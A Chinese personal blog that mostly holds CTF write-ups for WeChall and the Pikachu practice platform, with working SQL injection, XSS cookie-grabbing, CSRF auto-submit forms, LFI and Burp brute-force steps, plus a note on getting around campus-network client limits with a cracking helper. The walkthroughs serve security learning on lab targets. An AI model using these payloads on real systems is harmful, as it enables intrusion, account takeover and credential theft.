2
5
2020
1

搬家了~

is-programmer有的时候反应太慢了。。。自己弄了个服务器来跑博客

 

https://blog.init-new-world.com/

 

欢迎访问

不过这个博客也不一定会完全停止更新,有时候如果有些别的想法也会发上来~

Category: 大学 | Tags:
6
24
2019
2

一套Firekylin的主题~

我造了一套Firekylin的主题,欢迎大家下载试用(Watch&Star!)

https://github.com/init-new-world/Theme_initialize

为啥要造主题呢?因为我有了新的blog,为了让自己的blog不再千篇一律,所以就造了个主题。

至于以后的文章,会同时在这两个blog中更新,除非特殊声明

新博客还没有完全搭好,所以就不放网址了

Category: 大学 | Tags:
6
10
2019
2

WeChall 综合练习

刚刚结束的TCTF上,由于Web题的惨剧导致我们学校和其他几个战队组建的联合战队被ROIS爆了。。。

虽然我只是一个旁观者,我们Pwn上的优势没有挽救我们Web上面的颓势

立个flag:我来

前面的Pikachu基本做完了(除了SQL等部分),这些部分由WeChall上面的练习来弥补。

前一阵子搞MISC比较多,但是现在碰到一些奇怪的隐写or乱搞一样不会

最近翻blog发现了r3kapig里面flappypig战队的大佬,决定跟着这个轨迹来搞一遍Web相关(可能不仅仅是Web?)

Let's start!(题目不一定按顺序排列,可以用Ctrl+F搜索)

------------------------------------

Training:Get Sourced

看源代码得到答案

------------------------------------

Training:Stegano I

改成txt文件看下

------------------------------------

Training:Crypto - Caesar I
里面有凯撒解密,还能用英文字典直接分析,比较方便
或者用http://quipqiup.com,传统置换密码基本都可以解密。

------------------------------------

Training:WWW-Robots
访问主站的robots.txt得到答案

------------------------------------

Training:ASCII

写个Python脚本

a = "84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 112, 103, 109, 111, 112, 114, 97, 115, 110, 102, 102, 98";
for i in a.split(', '):
    print("{0}".format(chr(int(i))),end='')

------------------------------------

Encodings - URL Encode
用现成的Hackbar工具直接解密URL字符串

------------------------------------

Prime Factory
编程直接解决
Python C++均可 为了练习Python我用Python编写的
import math
a = 1000000
count = 0
while True:
    flag = 1
    for i in range(2,int(math.sqrt(a))+1):
        if (a%i == 0):
            flag = 0
            break
    Sum = 0
    if(flag == 1):
        b = str(a)
        for i in b:
            Sum += int(i)
        for i in range(2,int(math.sqrt(Sum))+1):
            if (Sum%i == 0):
                flag = 0
                break
    if(flag == 1):
        count = count + 1
        print("{0}".format(a),end = '')
    a = a + 1
    if(count == 2):
        break

------------------------------------

Training:Encodings I
给了个JPK
这个工具很好用!
注意此时是七位一分格,ASCII码
很奇妙

------------------------------------

Training:Programming I
这个需要编程,不然反应没法这么快
那就编一下,顺便学一下urllib
代码中的WC是Cookie,注意根据每个人的不同而不同,可以在Firefox上用Cookie Editor知道
其实没必要用最后的打印,毕竟只要打开就行了
import urllib.request
from io import BytesIO
import gzip
headers = {
    'Host':'www.wechall.net',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Referer':'http://www.wechall.net/challenge/training/programming1/index.php',
    'Cookie':'WC=123',
    'DNT':'1',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}
url1 = r'http://www.wechall.net/challenge/training/programming1/index.php?action=request'
url2 = r'http://www.wechall.net/challenge/training/programming1/index.php?answer='
req = urllib.request.Request(url=url1,headers=headers,method='POST')
data = urllib.request.urlopen(req)
str1 = data.read().decode('utf-8')
str2 = url2+str1
print(str2)
req1 = urllib.request.Request(url=str2,headers=headers,method='POST')
data = urllib.request.urlopen(req1)
buff = BytesIO(data.read())
f = gzip.GzipFile(fileobj=buff)
print(f.read().decode('utf-8'))

------------------------------------

Training:Regex
好吧,要学正则表达式……
我最痛恨的东西之一
那就学吧
level1: 答案是/^$/,我因为没加两个斜杠思考了半天
level2: /^wechall$/
level3: 绞尽脑汁编了一个/^wechall[4]?\.(?:jpg|gif|tiff|bmp|png)$/
然后他说最短的就39个字符。。。于是又要思考了,我这个41个字符
于是我把4的左右括号删了,就成功了
payload = /^wechall4?\.(?:jpg|gif|tiff|bmp|png)$/
level4: 思考了很久,编了一个 /^(?:\w+)(?=\.\w+$)/
于是不行。
想了下,可能会出现www.123.jpg这种情况,于是再改一下
/^(?:[\.\w]+)(?=\.\w+$)/
还是不行,十分头疼,到底是啥没匹配上?
那就上网搜一下,于是就没搜到
又弄了一个更加激进的/^(?:[\w\W]*)(?=\.[\w\W]+$)/
然而还不行
弃疗了,希望有大佬告诉我这个题怎么解

------------------------------------

Training:PHP LFI
好久没碰Web题目了,%00截断都忘了……
于是答案是?file=../../solution.php%00
------------------------------------
PHP 0817
结尾加上?which=solution就可以了
那么,为什么可以呢?我查了一下,发现是这个原因:
PHP中switch的逻辑是根据传入switch()的参数,和下面的case参数用==(重点!)比较,相同就执行,不同就下一个
这个执行的逻辑和C语言是一样的,也是不碰到break就一直执行。
那么,在这个题目上,我们用了?which=solution,而在PHP中(int)$string是等于0的,那么这个switch就进入了case 0的循环中,然而没有break,于是会一直执行到正常的文件包含的地方,然后就没了。
------------------------------------
Training:WWW-Basic
需要一个服务器
我自己写了个自动发包登录然后POST的python脚本,然后利用服务器发
结果……Wechall似乎有个识别是否脚本登录的功能,怎么也成功不了
于是先放下,等到我弄个远程桌面再说
弄好了
------------------------------------
Limited Access
注意给了.htaccess
发现只limit了GET
于是我们用burpsuite改成POST发包就结束
------------------------------------
Limited Access Too
发现limit了一堆东西
那么我们继续改包,随便打几个字符替换掉GET就行
------------------------------------
HOST me
改包,把Host改成localhost
注意此时发包的对象(HOST)就不对了,这时候把上面GET后面的网址补全即可
------------------------------------
Training:Tracks
先投一次
然后改包,把VOTE和下面的If-None-Match里面改个新的一样的值然后发包就行
------------------------------------
htmlspecialchars
经典的情况……知道PHP中htmlspecialchars不会自动转换单引号,这个题就成功了
解决方案是在htmlspecialchars的函数中添加第二个参数ENT_QUOTES,表示对两种引号均进行编码
------------------------------------
Yourself PHP
XSS点不在username,在源代码下面的$_SERVER['PHP_SELF']
这个东西是你的网页地址,所以我们进行奇怪的构造
/"></form><script>alert(1);</script>
加在源网页后面就过了(下面没有进行htmlspecialchars的判断)
------------------------------------
Training:Registered Globals
https://www.php.net/manual/zh/security.globals.php
也就是说,我们能用GET改参数。
于是我们加上?login[0]=admin就过了。
------------------------------------
Training:MySQL I
先学习SQL语句的格式,然后就会了
考虑mysql的注释
于是在username字段填写admin'#
就过了
------------------------------------
Training:MySQL II
联合查询语句和SELECT的使用
https://www.runoob.com/sql/sql-select.html
https://www.runoob.com/sql/sql-union.html
同时,我们还知道SELECT可以选择常量。
于是这题就可以做了
注意看源代码知道了数据的储存格式,于是构造
在username字段填写' UNION SELECT 0,'admin',md5('') FROM users WHERE ''='
也可以' UNION SELECT 0,'admin',md5('') ORDER BY '3
第二个短一点
密码为空,直接提交过关
注:在几天后,我有了新想法' UNION SELECT 0,'admin',md5('')#
更短
------------------------------------
No Escape
先投一票,观察一下
然后构造payload为?vote_for=bill`=111--+在网址后面
至于为什么不能用#来注释,我也不知道……
------------------------------------
Addslashes
看到源文件中有GBK就立刻想到宽字符注入。
既然用GET查询,那么构造?username=%df%27+UNION+SELECT+CHAR(65,100,109,105,110)--+&password=&login=%E6%B3%A8%E5%86%8C
没了
------------------------------------
The Guestbook
注意源文件的gbook_getIP()
这里没有对ip进行过滤
那么我们加上X-Forwarded-For就好了
于是抓包,加X-Forwarded-For:127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'));#
然后看留言板,没了
------------------------------------
MD5.SALT
输点东西,发现会出一个Hello xxxx
那我们来进行注入,构造Admin' AND 1=2 UNION SELECT password,password FROM users WHERE username='Admin'#
然后就是Hello xxxxx(这个是密码)
然后四处找网站,cmd5和xmd5要收我钱,pmd5解不出,于是找到了somd5
解出答案是academicsalt21
登录,不行,但是题目名提示了我们:MD5.SALT
于是把salt21删掉,就过了
------------------------------------
Table Names
MySQL盲注
先找到库的名字' AND 1=2 UNION SELECT 1,2,DATABASE()#
根据库的名字找表名' AND 1=2 UNION SELECT DATABASE(),2,GROUP_CONCAT(table_name) FROM information_schema.columns WHERE table_schema='gizmore_tableu61'#
然后有好几个表(aaawrong,),哪个是正确的呢?
于是我们测试一下,注意给了帐号test
输入为空和输入' AND 1=2 UNION SELECT * FROM gizmore_tableu61.usertableus4#一样,得知答案为gizmore_tableu61_usertableus4
其实,有时候我们还需要知道字段,也顺便写下吧' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='usertableus4'#
爆用户名' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(username) FROM gizmore_tableu61.usertableus4#
爆密码' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(password) FROM gizmore_tableu61.usertableus4#
本题结束
------------------------------------
Table Names II
这个题建议看大佬的题解,在此之前我不知道有processlist这个东西
输入为' AND 1=2 UNION SELECT info,2,3 FROM information_schema.processlist#
以下为举一反三:
注意这个方法也可以用在Table Names这题上, 但是只有表的名字,所以数据库是默认数据库——在上一题可以用DATABASE()获得
但是如果上一题不允许用DATABASE()呢?于是我们本机先USE mysql;再测一下SHOW processlist;
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
| Id | User            | Host            | db    | Command | Time  | State                  | Info             |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
|  4 | event_scheduler | localhost       | NULL  | Daemon  | 20408 | Waiting on empty queue | NULL             |
|  9 | root            | localhost:13940 | mysql | Query   |     0 | starting               | show processlist |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
有一行是db——得到了当前的数据库
于是上一题有了一种不需要DATABASE()的做法' AND 1=2 UNION SELECT info,2,GROUP_CONCAT(db) FROM information_schema.processlist#
------------------------------------
Light in the Darkness
注入方式floor注入
' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(password,FLOOR(RAND(0)*2)))#
注意把报错的最后一个1删掉,这个1是CONCAT加上去的
------------------------------------
Training:LSB
图片搞下来
然后用StegSolve打开一个个图层看,就有答案
------------------------------------
PHP 0815
弱类型转换问题
字符串和in_array比较没有启用严格比较是不比较数据类型的
所以我们加上强制转换就行了
也就是-0
与整数相减后得到的是整数
------------------------------------

Just for fun.

Category: CTF | Tags: CTF
5
26
2019
0

2019东北地区赛游记

其实没啥好写的

又是一块银牌,差一点金

脸黑将继续持续下去

Category: 大学 | Tags: 随笔
5
14
2019
2

2019黑龙江省赛游记

其实没啥好写的。。。

银牌第一,差一个罚时or一道题

cycleke队rk5,练习生队rk2,TOM队rk1

端茶倒水三人组集体没带板子,裸费用流打不出来

OI积累的实力已经归零了

Category: 大学 | Tags: 比赛 随笔
4
18
2019
0

锐捷6.43网速叠加测试

本教程可以在HIT测试通过

叠加前网速大约为23Mbps,叠加完成后测速显示为39Mbps,大致还是有点效果的

要求:

两个网卡,一个有线一个无线

一根网线

HIT的锐捷可以让一个账户同时登陆两台设备。如果想登陆更多的设备或是破解限速,估计需要弄到管理员的后台,这样做风险很大,还是不搞了。

那么,既然只能登陆两台设备,那我们用一台电脑模拟两台设备就可以了。

没有多网卡就只能用软路由了……

首先,进入电脑的网络适配器设置,找到无线网卡,右键属性-IPv4协议-属性-高级 取消自动跃点前面的勾,设置跃点数为某个值(我设的15)

有线网卡进行相同的操作,记得跃点数要设置成一样的。

连接无线网,在Web平台登陆。

然后你需要下载一个锐捷认证客户端,我自己的是6.43版本,在HIT官网上下的。

之后,使用https://www.52pojie.cn/thread-555572-1-1.html中的助手,解除多网卡的限制。

然后用客户端再登陆一次

上测速网试一下,是不是网速就提升了?

如果有多个帐号的话再利用软路由估计效果会更好,但是没有多个帐号……就没办法了。

希望这个方法别被封……

Category: CTF | Tags: CTF
4
12
2019
1

Tensorflow(Based on Python3)使用与学习

要完成的任务之一……

占坑待填

Category: 机器学习 | Tags: 机器学习
4
12
2019
0

网络攻防练习-Pikachu平台

最近进了CTF的坑,于是时间再次被压榨……

开个文章记录一下学习过程

之前把JarvisOJ和NUPT_CTF的题刷了一些

这篇文章主要基于Pikachu平台进行Web方向的CTF练习

环境使用Windows10-64bit和Firefox浏览器,平台使用Apache2.4+Mysql8.0+PHP7.3.4

具体的平台在https://github.com/zhuifengshaonianhanlu/pikachu

占坑待填~

---------------------------------------

这文章访问量比我之前几篇都高……我也不知道为什么

那就写一下吧,不然太对不起读者了

下文列出的工具基本上都能在52pojie论坛上找到。

对于本机无法被burpsuite抓包的问题,我自己谷歌始终不抓包,换成火狐浏览器再设置下就好了

传图太麻烦了,这回就纯文字描述一下……求谅解……

---------------------------------------

暴力破解
---------------------------------------
基于表单的暴力破解:
你需要使用Burpsuite,我自己用的是Burpsuite Pro v1.7.30
首先你要下载一个字典合集:https://github.com/danielmiessler/SecLists 基本包含了各种常用的字典。
打开Burpsuite,打开Proxy-Options,运行Proxy Listeners的服务器127.0.0.1:8080
打开火狐,我装的插件有Hackbar、User-Agent Switcher和FoxyProxy Standard。
在Foxy里面配置好本地代理127.0.0.1:8080,打开页面
我们能看到有两个输入框:Username和Password。
接下来我们随便输入几个字符(用户名和密码都是123)进去,用Burpsuite抓包(记得打开Proxy-Intercept里面的开关)
看到抓到的包长这个样子:
POST /pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/burteforce/bf_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

username=123&password=123&submit=Login
注意这里username和password都直接明文显示了,我们点击一下Forward看看反应。
网页显示:username or password is not exists~,然后继续让你输入。
这就比较好办了,我们选择Proxy-HTTP History,找到刚才的POST指令,右键Send to Intruder(主要用来爆破密码)
点开Intruder-Positions,选择攻击方式为Cluster Bomb
大致说下四种攻击方式的区别:
Sniper一般只针对单个位置攻击(将某个位置改变,其他位置不变进行爆破,选择多个位置则都这么操作一次)
Battering ram是将多个位置同时替换成某个一样的值
Pitchfork是将某个表(或者之类的东西)中第一个用在第一个位置,第二个用在第二个位置……以此类推(轮流,对付某些防御方式有效)
Cluster Bomb则是指定多个位置,分别穷举替换。
我们这里采取第四种方法。
选完之后删掉不用的Payload位置(PHPSESSID和sumbit位置的),点击Payload导入刚才说的seclist字典
这里用户名就用最普通的那个,密码选择darkweb10000字典(Payload options我选的是simple list,然后load文件选字典)
点击Start attack开始攻击
攻击完成后按照Length从小到大排序,看看那几个不同的,就有了我们需要的账户和密码。
这里字典没有pikachu这样的用户,也就没法猜出来了……不过对于常见的无验证弱口令都基本上可以这么爆破。
---------------------------------------
验证码绕过(on server):
看题目就知道这次的验证码是在服务端
我们先观察下这个网页。
这次有三个框要填,我们像刚才一样先随便填写一下。
先试试123 123 错误验证码,提示:"验证码输入错误哦!"
再试试123 123 正确验证码,提示:"username or password is not exists~"
一般来说这就是说先检查验证码,再去检测用户名和密码。
查看下网页源代码(F12),发现这个验证码图片是用一个php生成的:showvcode.php
这下不太好办了,似乎是在服务端处理的操作。
那么是不是就不行了呢?
我们再复现一次正确验证码的操作,用Burpsuite抓包。
POST /pikachu/vul/burteforce/bf_server.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/burteforce/bf_server.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

username=123&password=123&vcode=lua63g&submit=Login
这里发现vcode也是发过去的。然后Forward几个Request包
似乎状况不妙,但是我们一定要想办法。
我们看下提示,是说“这个验证码始终有效”
那么我们考虑将这个正确的验证码的包反复发,看看行不行。
再输入一次正确验证码,然后卡住Intercept不Forward。
直接把这个包在Intercept界面右键Send to Repeater(反复发包)
我们Go一下,右侧界面拖到最下面往上一点显示"username or password is not exists~"
我们再Go一下,再拖一次,照样这么显示。
那么我们就利用这个包进行暴力破解。
右键Repeater的这个包,Send to Intruder
剩下的流程就和上一个一样了,不再赘述
---------------------------------------
验证码绕过(on client):
看题目就知道这次验证码在本地
我们发现这次还是三个框。
不过这次验证码看上去不像一张图片,我们再试一下查看元素
发现这个是一个createCode的函数实现的。
那么我们搜索源代码,找找这个函数。
我们发现这个函数就在网页中写着,而且判断也在网页中判断,错误就直接alert。
那么我们只需要按下F2把这个函数改成直接return true,然后用第一题的方式暴力发包即可。
---------------------------------------
token防爆破?:
看题目名就知道这次不好做
我们先观察,看到这次就两个框,貌似能直接用第一题的方法爆破。
于是做一番尝试,我们就发现Intruder显示的都一样,没法判断这个用户名密码是否是正确的。
似乎陷入绝境了?我们百度一下
发现返回包中的token值在不停的变化。
我们猜测每次发包中包的token需要和上一次包中返回的token一样。我们要利用这点。
随便输入123 123,Intercept发到Intruder
选择Cluster Bomb,在Options里把thread调整成1(这个方法要求获得的新的来自前一个,没法并发)
在Options选择Grep - Extract(下面英文解释了从返回值中获得有效信息)
Add - Fetch response
选中新的token然后点击Ok
下面的Redirections选择Always,因为我们需要重新定向到更新了token的网页(存疑,我试了Never发现也能正常破解)
我们返回Payloads页面,前两个按照正常的操作(之前题目1的操作)
第三个(token),我们更改Payload Type为Recursive grep(递归抓取)
然后开始Attack,选择Pitchfork模式
然而因为用户名行数很少,所以就爆破失败了。
用cluster bomb,就会出现抓不到payload3的情况,也就是没办法同时爆破用户名和密码。
想了好一会儿又百度了一阵子,没啥好的解决方法,只能先固定用户名然后爆破密码了。这也太不智能了。
还有一种方法就是复制字典很多遍,这个可以写程序做到,不过太智障了
还有一个办法就是写脚本爆破,不过我python url方面不熟,先不管了
还有一件事,就是每次都要先发个request 0 过去,这样会导致第一次密码必定无法提交(token不正确);我也没办法解决这个问题,只好把第一个密码在加在最后,这样可以保证每个密码都尝试。
本题结束
---------------------------------------
Cross-Site Scripting(XSS)
---------------------------------------
反射型xss(get):
看提示发现直接输入kobe,如果啥都不输入直接sumbit也会告诉你输入kobe
我们观察一下,有一个文本框,有个按钮要我们提交。
先随便输个123然后抓包
GET /pikachu/vul/xss/xss_reflected_get.php?message=123&submit=submit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/xss/xss_reflected_get.php
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

发现我们输入的123传到了php的网址上面,而不是内容发包。

然后我们观察结果,会有“who is 123,i don't care!”的字样。也就是说,这个网页会输出你输入的东西。

那么,我们随便改一下输入的东西,比如<script>alert(1);</script>

然后,我们就发现这个框限制了输入的长度。

没关系,我们直接在地址栏进行输入,于是跳出了一个框为数字1

那么,这个框对输入就没有过滤,可以进行攻击了。

本题结束(反正没有要测试的点)

---------------------------------------
反射性xss(post):
观察一下,有两个框,一个提交按钮。
我们先随便输入123 123抓包
POST /pikachu/vul/xss/xsspost/post_login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/xss/xsspost/post_login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
DNT: 1
Connection: close
Cookie: PHPSESSID=qcoa6i4788q6cafbso3uh40oan
Upgrade-Insecure-Requests: 1

username=123&password=123&submit=Login

看上去像个爆破?这样不太好233

我们还是练习一下XSS。

先用给的密码登录上去,发现了上一题的窗口。

我们的目标是不登录但是伪装成管理员,所以构造一个payload为<script>alert(document.cookie)</script>

然后提交一下,我们就拿到了管理员的cookie。

观察一下,发现[pw]字样后面跟的像个md5,拿到www.cmd5.com查询一下,得到密码123456。

不这样的话,直接用这个cookie来伪造登录也是可行的。因为一般像密码这种都进行了加密,md5其实是不常用的。

也就是说,如果我们能在管理员登录时设法拿到cookie,就能伪装身份了。(比如把cookie发送到自己的网站)

具体修改方式:你先拿到cookie,然后在要伪装的界面按F12,选择菜单中的Hackbar,下面有一行cookie,选中后填写cookie就可以了。

本题测试方式:拿到cookie之后,在不登录情况下访问xss_reflected_post.php会跳转到post_login,但是用Hackbar改完cookie之后就可以直接访问xss_reflected_post.php了,能正确显示。缺点是sumbit之后会跳转回去(不持久),还是专门下个保存cookie的插件比较好,我推荐Cookie Editor,除了那个js代码转换麻烦点,这样就可以一直用admin的身份登录了。

---------------------------------------
存储型xss:
给了个留言板。
于是,我们构造<script>alert(document.cookie)</script>
直接得到了cookie。。。
具体用法:你留好这次言后,每次重新访问这个页面都会跳框显示cookie。
于是,攻击者可以把跳框改成发送这个cookie到自己的服务器上,从而伪装成访问过这个留言板的所有用户来访问这个网站。
本题结束
---------------------------------------
DOM型xss:
像往常一样构造<script>alert(document.cookie)</script>,然后会跳出来一个"what do you see?",点进去发现是直接在前一层菜单加上输入的文字。
打开提示,叫我们看看DOM是啥
结果网址点不开……上网查下,咋感觉就是普通的网址访问
于是右键查看元素,看到跳转函数是domxss()
Ctrl+F查找下,发现提示直接用注释写在里面了= =
我没用给的构造,自己写了个payload '> <img src=0 onerror=alert("123")>
本题结束
---------------------------------------
DOM型xss-x:
这题给人一种和上一题一样的感觉
随便输点东西,就跳出了一个类似的跳转
我们右键审查元素,看到一行代码onclick=domxss()
于是,我们Ctrl+F查找domxss()
发现了熟悉的代码
跟上一题一样构造即可,用法是点击那个超链接,相对于直接弹窗要好一些。
这种提交方式可以一定程度防止XSS攻击……
本题结束
---------------------------------------
xss之盲打:
随便构造<script>alert("123")</script>,用提示的后台登录显示弹窗
本题结束
---------------------------------------
xss之过滤:
随便输个123
显示 别说这些'123'的话,不要怕,就是干!
观察一下源代码,发现是form method=get,是用get方式传输参数
输入<script>alert("123")</script> 发现无法正常显示
发现过滤了关键字,试一下<ScRipT>alert("123")</ScriPt>
被Google Chrome拦截了。。。(好吧我习惯用Chrome做题)
改成火狐,成功弹框
本题结束(这个过滤不行……之前打比赛被关键字过滤到怀疑人生)
---------------------------------------
xss之htmlspecialchars:
按照提示,先百度一下
感觉没啥特别的,就是字符串转成HTML实体,好像没啥大区别
构造<script>alert("123")</script>,发现会有一个超链接,根据题目意思估计这个是a href的一个字符串用htmlspecialchars转换来的
那么重新构造'><script>alert("123")</script>,发现不行,打开源码看下发现出现了&gt;这样的字符
百度一下发现这个是字符实体,应该是过滤了尖括号,那就改用圆括号吧
构造'onclick='alert("123")' 点击后成功弹窗
然后发现'onmousemove='alert(123)'效果更好,鼠标移上去就弹,在现实中更容易攻击成功
其实还有一个onload,理论上效果最好,但是上网查一下发现这个事件只能放在body iframe之类的框架中,一般用不了
本题结束
---------------------------------------
xss之href输出:
先随便输入一下,发现是挂靠在网址后面的,用了一些构造没啥效果,估计是全部被转换为实体了
看下提示,感觉还不明白,只好上百度看下,然后搜到了某网站的收费课程(这也能收费。。。反正我很无语)
没办法,再搜索一番,找到了一个构造:Javascript:alert(123)
原理是利用a href能直接启动js,而且这次过滤没有过滤括号和引号
本题结束
---------------------------------------
xss之js输出:
随便输入123,点击
输出 无论如何不要放弃心中所爱.. 感觉很迷
查看源代码,发现了一段script
<script>
    $ms='123';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }


</script>

思考一下,模仿这个语法,构造 ';alert(123);' 弹框成功

本题结束

---------------------------------------
Cross-site request forgery(CSRF)
---------------------------------------
CSRF(get):
我们来看一下提示,然后登录一下看看各个用户的信息。vince是个boy,lili是个girl。我们来试试在不登录vince帐号的情况下修改一下vince的信息,将他从一个boy变成一个girl
打开Burpsuite,登录lili的账户,选择修改个人信息
点击submit,这个时候看下burp抓到的包
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=usa&email=lili%40pikachu.com&submit=submit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php
DNT: 1
Connection: close
Cookie: PHPSESSID=e3287kdaea22h96ds9sod9epai
Upgrade-Insecure-Requests: 1

很显然,这个修改信息的过程放在了GET里面,而且明文未加密和验证。

那么,我们就来改造一下信息,构造一个钓鱼网址,原网址是

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

钓鱼改造后

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123&add=hacker&email=hahaha%40pikachu.com&submit=submit

这个时候,我们假装是vince,登录后点击了这个钓鱼连接

然后我们刷新一下,发现他的信息就全都被改掉了

本题结束

---------------------------------------
CSRF(post):
这个漏洞用起来很麻烦
我们先观察一下包的格式:
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
DNT: 1
Connection: close
Cookie: PHPSESSID=f5jrga2nqbodqeqke3u74bjklv
Upgrade-Insecure-Requests: 1

sex=girl&phonenum=123&add=hacker&email=hahaha%40pikachu.com&submit=submit
post相对于get,没办法直接通过一个普通的网址访问进行修改了
但是,可以通过构造一个特定的网页,在网页内部插入一些特定的代码来进行修改
方法:我在localhost/pikachu/下新建一个页面test.html
html代码是
<body>
    <form id="form1" name="form1" action=http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php method=POST>
        <input type="text" name="sex" value="1234"/>
        <input type="text" name="phonenum" value="1234"/>
        <input type="text" name="add" value="1234"/>
        <input type="text" name="email" value="1234"/>
        <input type="submit" id="up" name="submit" value="submit"/>
    </form>
    <script> document.getElementById("up").click() </script>
</body>
这里我们为什么不用document.form1.submit()呢?因为这样就没有办法在发的POST中带有submit=submit了,从而导致修改失败。
所以只好拐个弯,用id来实现自动点击然后发包。
这样,假如用户vince在登录状态点击了localhost/pikachu/test.html,那么他的个人信息就会被修改成全为1234
本题结束
---------------------------------------
CSRF Token:(未解决)
这个题有些麻烦。
前两天在刷XCTF_Adworld的MISC和WEB,今天重新观察了一下这个题,感觉还是可以做的
我们先打开网页,登上一个号,然后修改信息,在修改提交时抓包
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=12345&phonenum=12345&add=12345&email=12345&token=619315cc877bea293a145215890&submit=submit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/csrf/csrftoken/token_get_edit.php
DNT: 1
Connection: close
Cookie: PHPSESSID=pag7hgjdae6c6c79j6vfktg3dg
Upgrade-Insecure-Requests: 1

然后我们就发现了除了本来就有的那些信息,多了一个token。
我们F12审计一下代码,搜索token找到一个标签,里面的值正是token。也就是说我们需要想办法获得这个token并且把这个请求发出去。
我们像上一题一样构造一个文件,不过这回我们用php
首先要解决获取token的问题。之前暴力破解部分的token防爆破这题会给我们一些启发。
考虑之前暴力破解的时候burpsuite是用正则匹配网页内容然后获取token直接发包,我们来采取相似的方法
首先,我不会正则表达式,那么我们可以借用Burpsuite的Inturder的Options提供的grep,注意那个窗口右上角有Extract from regex group,我们把这里面那个字符串选出来
"token" value="(.*?)" />\n   <input
于是我们就有了一个用来提取的正则表达式。
